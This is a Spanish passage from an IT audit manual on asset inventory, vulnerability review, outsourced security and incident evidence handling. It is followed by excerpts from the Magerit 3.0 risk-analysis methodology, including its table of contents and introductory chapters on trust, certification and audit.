registrado, que no es posible acceder mediante el uso de protocolos
inseguros tales como: TELNET, que no se puede acceder de forma
tampoco vía Web, si no es mediante protocolo seguros como HTTPS:// o
TLS.
3. Que no es posible acceder más que a las zonas de red y aplicaciones
autorizadas.
Capítulo 26.
Es obvio que como sistema y teoría está muy bien desarrollado e implantado
cuando se trata de sistemas informáticos, existe un componente complejo
llamado entropía, que tiende a desordenar todo. Veamos en que consiste para
comprender mejor como opera.
El concepto básico de entropía en teoría de la información tiene mucho que
ver con la incertidumbre que existe en cualquier experimento o señal
aleatoria. Es también la cantidad de «ruido» o «desorden» que contiene o
libera un sistema. De esta forma, podremos hablar de la cantidad de
información que lleva una señal.
Página 419 de 430
Manual de Auditoria para no Auditores
Aplicaciones Autorizadas
Aplicaciones Autorizadas
CONVERSION A/D, RESAMBLAJE, VERIFICACION-NUMERACION- DESCIFRADO
Servidores de Aplicaciones
DATOS,- CIFRADO, NUMERACIÓN, SEGMENTACIÓN, CONVERSION D/A
Servidores de Aplicaciones
Internet / Extranet Internet / Extranet
Capa de Seguridad Código Capa de Seguridad Código
Capa de Seguridad de Datos Capa de Seguridad de Datos
Capa de Seguridad Servicios Capa de Seguridad Servicios
En esa misma página se referencia otras dos, que también contienen información
sobre vulnerabilidades. Es importante consultarlas de forma regular cada vez
que vamos a realizar un ciclo de auditoria interna / externa.
En el primer ciclo de auditoria, durante la ejecución del análisis de riesgo, una
evaluación temprana de las vulnerabilidades técnicas: ya sean de Hardware o
de Software o de ambas, no debemos olvidarnos, que algunas no se pueden
separar por su naturaleza ejemplo: las actualizaciones de firmware (servidores,
pc, impresoras) nos pueden ayudar a realizar un mejor reparto de tiempos entre
todas las tareas, no técnicas de la auditoria. Además, nos pueden dar una
primera valoración importante, que elementos presentan riesgos críticos, desde
el punto de vista técnico/ administrativo / jurídico, no admisibles a criterio de la
organización.
Como consecuencia de lo anterior, es probable, que las aplicaciones y las
infraestructuras de soporte físico y lógico, no estén actualizadas y por tanto no
cumplan los requisitos legales vigentes, a nivel local, quizás si en otros países
donde no exista una regulación legal especifica al respecto, ya que el
procedimiento operativo también estará obsoleto.
Por tanto: una inspección / auditoria, de calidad, debe de incluir como unos de
primeros objetivos los siguientes:
1º- Identificar los distintos tipos de activos existentes.
2º- Cuantificarlos.
3º- Clasificarlos.
4º - Valorarlos.
5º - Categorizar los riesgos a los que están expuestos.
Como se puede deducir, esto no tiene relación con el clásico inventario contable
salvo por la valoración económica, que al menos debería contemplar tanto el
precio de compra, como el precio vigente, que debería ser 0, y muy importante
la fecha de compra para resolver la temática de la IoT, para elementos cuya
antigüedad supere los tres años desde la fecha de compra, aunque este criterio
se establece tomando como base los principios de la contabilidad fiscal o
impositiva, en el país y momento de efectuar la auditoria.
Asimismo, habrá que tener en cuenta si estamos hablando de aplicaciones
comerciales o estándar que admiten personalización o adecuación, o se trata de
una aplicación desarrollada a la medida, por causas que justificaron en su día el
desarrollo frente a la compra de software comercial, ello supone que este caso
tenemos al menos tres fuentes de vulnerabilidades que serían las siguientes:
1ª) El lenguaje de programación que se ha utilizado para su desarrollo. Aquí la
fuente de la vulnerabilidad suele el programador o programadores suele ser la
falta de o exceso de experiencia y la falta de supervisión de la totalidad del
código, puesto que se pueden crear funciones ocultas activables solo mediante
secuencia específicas que crear puertas traseras o activan partes del código que
permiten acceder a introducir datos en forma de inyecciones SQL.
2ª) Los repositorios de información que se utilizan entiéndase ficheros
convencionales, versus bases de datos (tanto SQL como No-SQL). Es
importante cifrar los datos para que no sean accesible mediante herramientas
ETL o mediante el uso de herramientas de ingeniería inversa.
3ª) Las reglas de seguridad aportadas por el lenguaje de programación y los
repositorios de datos utilizado.
Existe una cuarta fuente, pero debido a la segregación de las funciones de
seguridad a través de las capas de red y que los elementos de seguridad en red
ya no son gestionables desde aplicaciones, vía programación, que no sean en la
mayoría de los casos propiedad del fabricante, precisamente para asegurar la
segregación de funciones de seguridad y minimizar la interacción de las
comunicaciones, con los motores de bases de datos y los repositorios de
información, tratando así de evitar las inyecciones SQL para lograr acceder a
repositorios que contienen información sensible y garantizando el suministro de
múltiples mecanismos de seguridad como lo aportados por las VPNs y las VLANs
además de los aportados por Routers-Firewall-IDS/IPS-SEM/SIEM con el fin de
garantizar la integridad, disponibilidad y confidencialidad de la información.
En resumen, una vez hemos inventariado y clasificado nuestros activos,
categorizado desde la óptica del análisis de riesgos, podemos proceder a una
re-categorización en función de las vulnerabilidades encontradas tanto Hardware
como Software Base y después hay que abrir un capítulo aparte para todo lo
relativo a Software de Aplicación tanto como al Software desarrollado a medida.
Evaluar entonces que sustituciones y actualizaciones Hardware y Software
serían necesarias en las infraestructuras básicas, y después de aplicarlas
verificar el comportamiento antes de aplicar las actualizaciones relativas al
Software de Aplicación y al Software desarrollado a medida.
Aquí debemos tener presente que en algunas ocasiones las actualizaciones
tanto de: Hardware como de Software ya sea Software Base como Software de
Aplicación Comercial o Desarrollado a medida, se desaconsejan salvo riesgo de
incumplimiento legal.
Estos casos son mínimos, pero deben estudiarse muy a fondo, dado que sus
implicaciones legales, se traducen en costos elevados y largos procesos que
pueden suponer perdidas económicas y de reputación, que son muy difíciles de
evaluar a priori.
Este ciclo del que hemos estado hablando hasta ahora, ocurre una vez cada
cinco años, cuando las normas sufren revisiones en profundidad, las revisiones
anuales son simples chequeos sobre sí la organización practica una correcta
política de monitorización y actualización / mantenimiento respecto a sus
componentes tecnológicos y las consecuencias legales, derivadas del uso de los
mismos.
Otra cuestión es son los procedimientos y la documentación asociada al uso de
los componentes tecnológicos, debido a que tanto los componentes Software
Base; como el Software Aplicativo, pueden sufrir importantes actualizaciones
que están documentadas por el propio fabricante, para que el cliente pueda
evaluar cómo le afectan, antes de aplicarlas.
En cuanto al Software desarrollado a medida, el problema es que este tipo de
Aplicaciones requiere largos ciclos de vida, que muchas veces no tienen la
duración necesaria, para lograr una estabilidad que permita documentar en
detalle y profundidad los cambios ocurridos a lo largo de todo el ciclo de vida del
aplicativo, salvo claro está que se esté utilizando herramientas CASE o de otro
tipo de herramientas que incluyan la generación de la documentación, para
generar el código núcleo de la aplicación y que las modificaciones no afecten a
funciones relacionadas con los accesos y mantenimiento de los datos, afectando
sólo a procesos estéticos o de confección de informes mediante herramientas
convencionales como generadores de informes y herramientas tipo ETL.
Es obvio que, en la Administración de Derechos de Acceso, que se gestionan a
través de los Sistemas Operativos de Red y de los Sistemas Operativos Locales,
existen otros sistemas de Gestión de Permisos que está gobernado por el Motor
de Base de Datos o del Motor de Ficheros de la propia aplicación. Cada vez más
se tiende a tener un mismo esquema de Derecho de Acceso, por simplicidad.
Una vez que tenemos realizado el ciclo completo, tanto del software base como
del aplicativo y dado que muchos sistemas suelen estar interconectados, con
otros propios o ajenos, debemos comprobar que los cambios introducidos no
afectan a sistemas con los que hemos de intercambiar información y que, si
hemos de hacerlo, los procesos continúan operando como hasta ahora, en
cuanto a formatos de fecha, moneda, etc. En algunos casos habrá que añadir
modificaciones bien a nivel de parámetros de sistema, bien si utilizamos alguna
herramienta o una pequeña aplicación que nos permita adecuar los formatos de
entrada y salida entre nuestros sistemas y aquellos con los que necesitamos
compartir información.
Otra cuestión se plantea es: cuando permitimos, que proveedores de información
y servicios utilicen parte de nuestros sistemas y ellos introducen cambios en su
software base, que afectan a parte de los datos, como los formatos de fecha y
hora. Esos cambios deberían pasar una etapa previa de adecuación para
minimizar el número de incidencias, que se pueden generar debido a dichos
cambios. Se trata más de un problema de comunicación técnica e interpersonal
que de un problema técnico propiamente dicho.
Dada la necesidad de contar con entornos seguros, cada vez más empresas
utilizan a empresas externas como gestores de seguridad, que son en realidad
laboratorios abiertos de seguridad, donde se intercambian continuamente datos
de comportamientos sospechosos, gestionado mediante herramientas
SEM/SIEM, uno o varios antivirus, varios router-firewall y por últimos varios
IDS/IPS por donde la información pasa antes de ser transferida al Cliente.
Son servicios que, por una tarifa variable, dependiendo del grado de seguridad
que deseemos gestionar, permiten minimizar las inversiones tanto en
infraestructura física como lógica y personal especializado, aunque ello supone
en una gran medida ceder el control a un tercero.
Suele ser práctica habitual también tener contratado con el gestor de seguridad
externa, el tema de la copia de seguridad y su recuperación, con la evolución
experimentada por la herramientas de Backup/Recovery a las que hay que
añadir las herramientas de Virtualización que permiten replicar centros enteros
de procesos de datos, sus aplicaciones y procesos asociados, facilitando al
cliente final servidores de comunicaciones y terminales que se reconfiguran en
un mínimo lapso de tiempo, en caso de desastre, queda garantizando la
continuidad operativa del negocio, siempre y cuando hayan recibido toda la
documentación funcional, técnica y operativa que permite replicar el centro de
datos que haya quedo temporalmente inoperativo.
Por tanto, además de profundizar en las vulnerabilidades de Hardware, Software
Base y Software Aplicativo necesitamos focalizar en un último esfuerzo en dos
puntos que son los que actualmente ocupan el centro de atención de los expertos
en seguridad que son las Redes y los Usuarios, el problema es que las Redes
son simples intermediarios entre dos puntos, dado que su sistema operativo
suele diferir de los denominados sistemas operativos de redes convencionales y
por supuesto no existen los sistemas operativos clientes, ya que el Cliente final
todas las evidencias posibles conforme a las disposiciones legales, incluso antes
de que llegue a destino y el incidente se desencadene.
Cuando sea la propia empresa quien gestione la seguridad, deberá contar con
medidas que permitan aislar el equipo, capturar todas las evidencias volátiles
posibles (programas en ejecución durante el incidente, drivers, documentos y
aplicaciones abiertas, sesiones de los navegadores, etc…todo aquello
susceptible de desaparecer al apagar el equipo) y en una etapa posterior ya
aislado de toda conexión de red deberá procederse a obtener una copia espejo
del contenido del disco duro partición / carpetas del usuario vigente, en el
momento de ocurrir el incidente, así como de los ficheros compartidos entre este
puesto y el servidor.
Todo el material obtenido debe almacenarse en soporte de una única escritura
si es posible o en medios de almacenamiento externo, que puedan situarse fuera
de la empresa y fuera del alcance del personal técnico o de los usuarios
habituales, se puede utilizar un servicio de custodia si la empresa de seguridad
física, si dispusiera del mismo, en caso contrario, una caja de seguridad en un
banco, sería una buena opción siempre y cuando el acceso requiera de la
concurrencia simultanea de al menos dos personas, siendo una de ellas,
personal del área jurídica, por razones obvias. Aunque pueda parecer superfluas
estas observaciones, siempre es bueno recordar principios básicos, ya que
omiten unas veces de forma voluntarias y otra no.
Si se siguen estas indicaciones básicas expuestas hasta aquí, la parte técnica
debería estar resuelta, sin mayores problemas siendo una colección de
hallazgos que deben ser gestionados y puestos en práctica, subsanado o
soslayado los problemas más graves y continuando en orden decreciente hasta
los leves, siendo de nuevo re evaluados habiendo establecido responsables de
su ejecución y supervisión. Las medidas aplicadas y sus resultados deben
quedar registrados y documentados para ser útiles, en posteriores revisiones
que puedan generar nuevos problemas o re abrir los existentes previos a la
aplicación de las mismas.
Otro tema diferente es la documentación relativa a procesos y procedimientos
no técnicos y que tienen que ver con la operativa del negocio y su gestión. Deben
documentarse la asignación de responsabilidad de gestión, técnicas, económica
y otras.
Deben estar documentos y asignados los diferentes niveles de responsabilidad
así como de interlocución dentro y fuera de la organización, por tanto deben estar
actualizados y monitorizados todos los datos de contactos de los responsable de
cada proceso vinculado a las acciones que pertenecen a los planes de
continuidad del negocio, esto es, la ISO22301 y la ISO22320 esta última está
relacionada también con la 18001 OHSAS que en su momento será sustituida
por la 45001 que es un sistema integrado por las normas 9001+14001+18001 ya
que estos conjuntos de normas, tienen como único objetivo preparar a la
organización para hacer frente a contingencias que exceden el ámbito
tecnológico y que tienen que ver con el cumplimiento de las normas relacionadas
El Autor.
Libro 1
Libro 2
75 páginas
Libro 3 Técnicas
METODOLOGIA OWASP
INCIBE INTECO-DELOITTE.
Ciberdelicuentes-y-Cibervictimas 22 Páginas.
Edita:
© Ministerio de Hacienda y Administraciones Públicas
Secretaría General Técnica
Subdirección General de Información,
Documentación y Publicaciones
Centro de Publicaciones
Índice
1. Introducción ...................................................................................................................6
1.1 Buen gobierno .........................................................................................................................6
1.2. Confianza ...............................................................................................................................6
1.3. Gestión ...................................................................................................................................7
1.4. Magerit ...................................................................................................................................7
1.5. Introducción al análisis y gestión de riesgos ..........................................................................8
1.6. El análisis y el tratamiento de los riesgos en su contexto ....................................................10
1.6.1. Concienciación y formación..........................................................................................11
1.6.2. Incidencias y recuperación ...........................................................................................11
1.7. Organización de las guías....................................................................................................12
1.7.1. Modo de empleo ...........................................................................................................12
1.7.2. El catálogo de elementos .............................................................................................13
1.7.3. La guía de técnicas.......................................................................................................14
1.8. Evaluación, certificación, auditoría y acreditación................................................................14
1.9. ¿Cuándo procede analizar y gestionar los riesgos? ............................................................16
2. Visión de conjunto.......................................................................................................19
3. Método de análisis de riesgos....................................................................................22
3.1. Conceptos paso a paso........................................................................................................22
3.1.1. Paso 1: Activos .............................................................................................................22
3.1.2. Paso 2: Amenazas........................................................................................................27
3.1.3. Determinación del impacto potencial............................................................................28
3.1.4. Determinación del riesgo potencial...............................................................................29
3.1.5. Paso 3: Salvaguardas...................................................................................................31
3.1.6. Paso 4: impacto residual ..............................................................................................35
3.1.7. Paso 5: riesgo residual .................................................................................................35
3.2. Formalización de las actividades .........................................................................................35
3.2.1. Tarea MAR.1: Caracterización de los activos...............................................................37
3.2.2. Tarea MAR.2: Caracterización de las amenazas .........................................................40
3.2.3. Tarea MAR.3: Caracterización de las salvaguardas ....................................................42
3.2.4. Tarea MAR.4: Estimación del estado de riesgo ...........................................................44
3.3. Documentación ....................................................................................................................45
3.4. Lista de control .....................................................................................................................46
4. Proceso de gestión de riesgos...................................................................................47
4.1. Conceptos ............................................................................................................................48
4.1.1. Evaluación: interpretación de los valores de impacto y riesgo residuales....................48
4.1.2. Aceptación del riesgo ...................................................................................................49
4.1.3. Tratamiento...................................................................................................................49
4.1.4. Estudio cuantitativo de costes / beneficios ...................................................................50
4.1.5. Estudio cualitativo de costes / beneficios .....................................................................53
4.1.6. Estudio mixto de costes / beneficios.............................................................................53
4.1.7. Opciones de tratamiento del riesgo: eliminación ..........................................................53
4.1.8. Opciones de tratamiento del riesgo: mitigación............................................................53
4.1.9. Opciones de tratamiento del riesgo: compartición........................................................54
4.1.10. Opciones de tratamiento del riesgo: financiación .......................................................54
4.2. Formalización de las actividades .........................................................................................54
4.2.1. Roles y funciones .........................................................................................................55
4.2.2. Contexto .......................................................................................................................57
4.2.3. Criterios ........................................................................................................................57
4.2.4. Evaluación de los riesgos .............................................................................................58
4.2.5. Decisión de tratamiento ................................................................................................58
4.2.6. Comunicación y consulta..............................................................................................59
4.2.7. Seguimiento y revisión..................................................................................................59
4.3. Documentación del proceso.................................................................................................60
4.4. Indicadores de control del proceso de gestión de riesgos ...................................................60
© Ministerio de Hacienda y Administraciones Públicas página 3 (de 127)
Magerit 3.0
5. Proyectos de análisis de riesgos ...............................................................................62
5.1. Roles y funciones .................................................................................................................62
5.2. PAR.1 – Actividades preliminares ........................................................................................64
5.2.1. Tarea PAR.11: Estudio de oportunidad ........................................................................64
5.2.2. Tarea PAR.12: Determinación del alcance del proyecto ..............................................66
5.2.3. Tarea PAR.13: Planificación del proyecto ....................................................................69
5.2.4. Tarea PAR.14: Lanzamiento del proyecto....................................................................69
5.3. PAR.2 – Elaboración del análisis de riesgos........................................................................70
5.4. PAR.3 – Comunicación de resultados..................................................................................71
5.5. Control del proyecto .............................................................................................................71
5.5.1. Hitos de control.............................................................................................................71
5.5.2. Documentación resultante ............................................................................................71
6. Plan de seguridad ........................................................................................................73
6.1. Tarea PS.1: Identificación de proyectos de seguridad.........................................................73
6.2. Tarea PS.2: Planificación de los proyectos de seguridad ....................................................75
6.3. Tarea PS.3: Ejecución del plan ............................................................................................76
6.4. Lista de control de los planes de seguridad .........................................................................76
7. Desarrollo de sistemas de información .....................................................................77
7.1. Inicialización de los procesos...............................................................................................77
7.2. SSI – Seguridad del sistema de información .......................................................................78
7.2.1. Ciclo de vida de las aplicaciones..................................................................................79
7.2.2. Contexto .......................................................................................................................80
7.2.3. Fase de especificación: adquisición de datos ..............................................................80
7.2.4. Fase de diseño: estudio de opciones ...........................................................................81
7.2.5. Soporte al desarrollo: puntos críticos ...........................................................................81
7.2.6. Aceptación y puesta en marcha: puntos críticos ..........................................................82
7.2.7. Operación: análisis y gestión dinámicos.......................................................................83
7.2.8. Ciclos de mantenimiento: análisis marginal..................................................................83
7.2.9 Terminación ...................................................................................................................83
7.2.10 Documentación de seguridad ......................................................................................84
7.3. SPD – Seguridad del proceso de desarrollo ........................................................................84
7.4. Referencias ..........................................................................................................................85
8. Consejos prácticos......................................................................................................86
8.1. Alcance y profundidad..........................................................................................................86
8.2. Para identificar activos .........................................................................................................87
8.3. Para descubrir y modelar las dependencias entre activos...................................................88
8.4. Para valorar activos..............................................................................................................91
8.5. Para identificar amenazas....................................................................................................93
8.6. Para valorar amenazas ........................................................................................................93
8.7. Para seleccionar salvaguardas ............................................................................................94
8.8. Aproximaciones sucesivas ...................................................................................................94
8.8.1. Protección básica .........................................................................................................95
Apéndice 1. Glosario .......................................................................................................97
A1.1. Términos en español .........................................................................................................97
A1.2. Términos anglosajones....................................................................................................106
A1.3. ISO – Gestión del riesgo..................................................................................................107
Apéndice 2. Referencias ...............................................................................................108
Apéndice 3. Marco legal ................................................................................................112
A3.1. Seguridad en el ámbito de la Administración electrónica ................................................112
A3.2. Protección de datos de carácter personal .......................................................................112
A3.3. Firma electrónica .............................................................................................................112
A3.4. Información clasificada ....................................................................................................112
A3.5. Seguridad de las redes y de la información.....................................................................113
Apéndice 4. Marco de evaluación y certificación .......................................................114
A4.1. Sistemas de gestión de la seguridad de la información (SGSI).......................................114
© Ministerio de Hacienda y Administraciones Públicas página 4 (de 127)
Magerit 3.0
A4.1.1. La certificación .........................................................................................................115
A4.1.2. La acreditación de la entidad certificadora...............................................................116
A4.1.3. Terminología ............................................................................................................116
A4.2. Criterios comunes de evaluación (CC) ............................................................................117
A4.2.1. Beneficiarios.............................................................................................................119
A4.2.2. Requisitos de seguridad...........................................................................................119
A4.2.3. Creación de perfiles de protección...........................................................................120
A4.2.4. Uso de productos certificados ..................................................................................121
A4.2.5. Terminología ............................................................................................................122
Apéndice 5. Herramientas.............................................................................................124
A5.1. PILAR...............................................................................................................................125
Apéndice 6. Evolución de Magerit................................................................................126
A6.1. Para los que han trabajado con Magerit v1 .....................................................................126
A6.2. Para los que han trabajado con Magerit v2 .....................................................................127
1. Introducción
El CSAE 1 ha elaborado y promueve Magerit 2 como respuesta a la percepción de que la Adminis-
tración Pública (y en general toda la sociedad) depende de forma creciente de los sistemas de in-
formación para alcanzar sus objetivos. El uso de tecnologías de la información y comunicaciones
(TIC) supone unos beneficios evidentes para los ciudadanos; pero también da lugar a ciertos ries-
gos que deben gestionarse prudentemente con medidas de seguridad que sustenten la confianza
de los usuarios de los servicios.
1.2. Confianza
La confianza es la esperanza firme que se tiene de que algo responderá a lo previsto. La confian-
za es un valor crítico en cualquier organización que preste servicios. Las administraciones públi-
cas son especialmente sensibles a esta valoración.
Por una parte dependemos fuertemente de los sistemas de información para cumplir nuestros ob-
jetivos; pero por otra parte, no deja de ser un tema recurrente la inquietud por su seguridad. Los
afectados, que frecuentemente no son técnicos, se preguntan si estos sistemas merecen su con-
fianza, confianza que se ve mermada por cada fallo y, sobre todo, cuando la inversión no se tra-
1
CSAE: Consejo Superior de Administración Electrónica.
2
MAGERIT: Metodología de Análisis y Gestión de Riesgos de los Sistemas de Información
3
1.6.12 Proposal. Compilation of benefits, costs, risks, opportunities, and other factors applicable to deci-
sions to be made. Includes business cases
4
This standard establishes principles for the effective, efficient and acceptable use of IT. Ensuring that
their organisations follow these principles will assist directors in balancing risks and encouraging opportu-
nities arising from the use of IT.
© Ministerio de Hacienda y Administraciones Públicas página 6 (de 127)
Magerit 3.0 Introducción
duce en la ausencia de fallos. Lo ideal es que los sistemas no fallen. Pero lo cierto que se acepta
convivir con sistemas que fallan. El asunto no es tanto la ausencia de incidentes como la confian-
za en que están bajo control: se sabe qué puede pasar y se sabe qué hacer cuando pasa. El te-
mor a lo desconocido es el principal origen de la desconfianza y, en consecuencia, aquí se busca
conocer para confiar: conocer los riesgos para poder afrontarlos y controlarlos.
1.3. Gestión
Conocer el riesgo al que están sometidos los elementos de trabajo es, simplemente, imprescindi-
ble para poder gestionarlos.
En el periodo transcurrido desde la publicación de la primera versión de Magerit (1997) hasta la
fecha, el análisis de riesgos se ha venido consolidando como paso necesario para la gestión de la
seguridad. Así se recoge claramente en las Directrices de la OCDE [OCDE] que, en su principio 6
dicen:
6) Evaluación del riesgo. Los participantes deben llevar a cabo evaluaciones de riesgo.
En el Esquema Nacional de Seguridad [RD 3/2010], el Capítulo II Principios Básicos, dice
Artículo 6. Gestión de la seguridad basada en los riesgos.
1. El análisis y gestión de riesgos será parte esencial del proceso de seguridad y deberá
mantenerse permanentemente actualizado.
2. La gestión de riesgos permitirá el mantenimiento de un entorno controlado, minimizando
los riesgos hasta niveles aceptables. La reducción de estos niveles se realizará mediante el
despliegue de medidas de seguridad, que establecerá un equilibrio entre la naturaleza de los
datos y los tratamientos, los riesgos a los que estén expuestos y las medidas de seguridad.
1.4. Magerit
Siguiendo la terminología de la normativa ISO 31000, Magerit responde a lo que se denomina
“Proceso de Gestión de los Riesgos”, sección 4.4 (“Implementación de la Gestión de los Riesgos”)
dentro del “Marco de Gestión de Riesgos”. En otras palabras, MAGERIT implementa el Proceso
de Gestión de Riesgos dentro de un marco de trabajo para que los órganos de gobierno tomen
decisiones teniendo en cuenta los riesgos derivados del uso de tecnologías de la información.
5
Reglamento (CE) n 460/2004 del Parlamento Europeo y del Consejo, de 10 de marzo de 2004, por el
que se crea la Agencia Europea de Seguridad de las Redes y de la Información.
© Ministerio de Hacienda y Administraciones Públicas página 9 (de 127)
Magerit 3.0 Introducción
Tratamiento de los riesgos
proceso destinado a modificar el riesgo.
Hay múltiples formas de tratar un riesgo: evitar las circunstancias que lo provocan, reducir las po-
sibilidades de que ocurra, acotar sus consecuencias, compartirlo con otra organización (típicamen-
te contratando un servicio o un seguro de cobertura), o, en última instancia, aceptando que pudie-
ra ocurrir y previendo recursos para actuar cuando sea necesario.
Nótese que una opción legítima es aceptar el riesgo. Es frecuente oír que la seguridad absoluta
no existe; en efecto, siempre hay que aceptar un riesgo que, eso sí, debe ser conocido y sometido
al umbral de calidad que se requiere del servicio. Es más, a veces aceptamos riesgos operaciona-
les para acometer actividades que pueden reportarnos un beneficio que supera al riesgo, o que
tenemos la obligación de afrontar. Es por ello que a veces se emplean definiciones más amplias
de riesgo:
Efecto de la incertidumbre sobre la consecución de los objetivos.
[ISO Guía 73]
Como todo esto es muy delicado, no es meramente técnico, e incluye la decisión de aceptar un
cierto nivel de riesgo, deviene imprescindible saber en qué condiciones se trabaja y así poder
ajustar la confianza que merece el sistema. Para ello, qué mejor que una aproximación metódica
que permita tomar decisiones con fundamento y explicar racionalmente las decisiones tomadas.
6
A menudo se oye hablar de “seguridad por defecto” o “seguridad sin manual” para recoger esta idea de
que los sistemas son más seguros si la forma natural de utilizarlos es la forma segura de utilizarlos.
© Ministerio de Hacienda y Administraciones Públicas página 11 (de 127)
Magerit 3.0 Introducción
Cuando se produce una incidencia, el tiempo empieza a correr en contra del sistema: su supervi-
vencia depende de la agilidad y corrección de las actividades de reporte y reacción. Cualquier
error, imprecisión o ambigüedad en estos momentos críticos, se ve amplificado convirtiendo lo que
podía ser un mero incidente en un desastre.
Conviene aprender continuamente, tanto de los éxitos como de los fracasos, e incorporar lo que
vamos aprendiendo al proceso de gestión de riesgos. La madurez de una organización se refleja
en la pulcritud y realismo de su modelo de valor y, consecuentemente, en la idoneidad de las sal-
vaguardas de todo tipo, desde medidas técnicas hasta una óptima organización.
Evaluación
Es cada vez más frecuente la evaluación de la seguridad de los sistemas de información, tanto
internamente como parte de los procesos de gestión, como por medio de evaluadores indepen-
dientes externos. Las evaluaciones permiten medir el grado de confianza que merece o inspira un
sistema de información.
Certificación
La evaluación puede llevar a una certificación o registro de la seguridad del sistema. En la práctica
se certifican productos y se certifican sistemas de gestión de la seguridad. La certificación de pro-
ductos es, de alguna forma, impersonal: “esto tiene estas características técnicas”. Sin embargo,
la certificación de sistemas de gestión tiene que ver con el “componente humano” de las organiza-
ciones buscando el análisis de cómo se explotan los sistemas 7 .
Certificar es asegurar responsablemente y por escrito un comportamiento. Lo que se certifica,
producto o sistema, se somete a una serie de evaluaciones orientadas por un objetivo ¿para qué
lo quiere? 8 . Un certificado dice que un sistema es capaz de proteger unos datos de unas amena-
zas con una cierta calidad (capacidad de protección). Y lo dice en base a que ha observado la
existencia y el funcionamiento de una serie de salvaguardas. Es decir que detrás de un certificado
no hay sino los conceptos de un análisis de riesgos.
7 Hay vehículos con altas calificaciones técnicas y otros más humildes. Lo mismo que hay conductores
que son verdaderos profesionales y otros de los que nunca nos explicaremos cómo es que están certifi-
cados como “aptos para el manejo de vehículos”. Lo ideal es poner un gran coche en manos de un gran
conductor. De ahí para abajo, tenemos una gran variedad de situaciones de menor confianza: mayor
riesgo de que algo vaya mal.
8 Y así tenemos sistemas aptos para “consumo humano” o “utilización en condiciones térmicas extremas”.
© Ministerio de Hacienda y Administraciones Públicas página 15 (de 127)
Magerit 3.0 Introducción
Antes de proceder a la certificación, debe haberse realizado un análisis de riesgos a fin de cono-
cer los riesgos y de controlarlos mediante la adopción de los controles adecuados, además, será
un punto de control de la gestión del producto o sistema.
Acreditación
Algunas certificaciones tienen como objetivo la acreditación del producto o sistema. La acredita-
ción es un proceso específico cuyo objetivo es legitimar al sistema para formar parte de sistemas
más amplios. Se puede ver como una certificación para un propósito específico.
Auditorías
Aunque no sea lo mismo, no están muy lejos de este mundo las auditorías, internas o externas, a
las que se someten los sistemas de información
• unas veces requeridas por ley para poder operar en un cierto sector (cumplimiento),
• otras veces requeridas por la propia Dirección de la Organización,
• otras veces requeridas por entidades colaboradoras que ven su propio nivel de riesgo liga-
do al nuestro.
Una auditoría puede servirse de un análisis de riesgos que le permita (1) saber qué hay en juego,
(2) saber a qué está expuesto el sistema y (3) valorar la eficacia y eficiencia de las salvaguardas.
Frecuentemente, los auditores parten de un análisis de riesgos, implícito o explícito, que, o bien
realizan ellos mismos, o bien lo auditan. Siempre en la primera fase de la auditoría, pues es difícil
opinar de lo que no se conoce. A partir del análisis de riesgos se puede analizar el sistema e in-
formar a la gerencia de si el sistema está bajo control; es decir, si las medidas de seguridad adop-
tadas están justificadas, implantadas y monitorizadas, de forma que se puede confiar en el siste-
ma de indicadores de que dispone la gerencia para gestionar la seguridad de los sistemas.
La conclusión de la auditoría es un informe de insuficiencias detectadas, que no son sino incohe-
rencias entre las necesidades identificadas en el análisis de riesgos y la realidad detectada duran-
te la inspección del sistema en operación.
El informe de auditoría deberá dictaminar sobre la adecuación de las medidas y controles a
la Ley y su desarrollo reglamentario, identificar sus deficiencias y proponer las medidas co-
rrectoras o complementarias necesarias. Deberá, igualmente, incluir los datos, hechos y ob-
servaciones en que se basen los dictámenes alcanzados y recomendaciones propuestas.
[RD 1720/2007, artículo 96.2]
En el caso de la Administración pública, existen algunos referentes fundamentales respecto de los
cuales se puede y se debe realizar auditorías:
• Real Decreto 1720/2007, de 21 de diciembre, por el que se aprueba el Reglamento de desa-
rrollo de la Ley Orgánica 15/1999, de 13 de diciembre, de protección de datos de carácter
personal.
• Real Decreto 3/2010, de 8 de enero, por el que se regula el Esquema Nacional de Seguri-
dad en el ámbito de la Administración Electrónica. BOE de 29 de enero de 2010.
Las auditorías deben repetirse regularmente tanto para seguir la evolución del análisis de riesgos
(que se debe actualizar regularmente) como para seguir el desarrollo del plan de seguridad de-
terminado por las actividades de gestión de riesgos.
Certificación y acreditación
Si el sistema aspira a una certificación, el análisis de riesgos es un requisito previo que exigirá el
evaluador. Es la fuente de información para determinar la relación de controles pertinentes para el
sistema y que por tanto deben ser inspeccionados. Véase el apéndice 4.1 sobre certificación de
sistemas de gestión de la seguridad de la información (SGSI).
El análisis de riesgos es así mismo un requisito exigido en los procesos de acreditación 9 de siste-
mas. Estos procesos son necesarios cuando se va a manejar en el sistema información clasificada
nacional, UE, OTAN o de otros acuerdos internacionales. El primer paso del proceso es la realiza-
ción del análisis de riesgos que identifique amenazas y salvaguardas y gestione satisfactoriamen-
te los riesgos del sistema.
9 En el sentido formal de autorización para manejar información clasificada. Los procesos de acreditación
se ajustan a la normativa aplicable en cada caso.
© Ministerio de Hacienda y Administraciones Públicas página 17 (de 127)
Magerit 3.0 Introducción
3. Las medidas adoptadas para mitigar o suprimir los riesgos deberán estar justificadas y, en
todo caso, existirá una proporcionalidad entre ellas y los riesgos.
La Ley 11/2007, de 22 de junio, de acceso electrónico de los ciudadanos a los Servicios Públicos,
que en su Artículo 1, Objeto de la Ley, dice así:
2. Las Administraciones Públicas utilizarán las tecnologías de la información de acuerdo con lo
dispuesto en la presente Ley, asegurando la disponibilidad, el acceso, la integridad, la au-
tenticidad, la confidencialidad y la conservación de los datos, informaciones y servicios que
gestionen en el ejercicio de sus competencias.
La Ley Orgánica 15/1999, de 13 de diciembre, de protección de datos de carácter personal, en su
artículo 9 (Seguridad de los datos) dice así:
1. El responsable del fichero, y, en su caso, el encargado del tratamiento, deberán adoptar las
medidas de índole técnica y organizativas necesarias que garanticen la seguridad de los da-
tos de carácter personal y eviten su alteración, pérdida, tratamiento o acceso no autorizado,
habida cuenta del estado de la tecnología, la naturaleza de los datos almacenados y los
riesgos a que están expuestos, ya provengan de la acción humana o del medio físico o natu-
ral.
Por último, la gestión continua de los riesgos es uno de los principio básicos del Esquema Nacio-
nal de Seguridad, ya citado anteriormente.
En conclusión
Procede analizar y gestionar los riesgos cuando directa o indirectamente lo establezca un precep-
to legal y siempre que lo requiera la protección responsable de los activos de una organización.
2. Visión de conjunto
Hay dos grandes tareas a realizar:
I. análisis de riesgos,
que permite determinar qué tiene la Organización y estimar lo que podría pasar.
II. tratamiento de los riesgos,
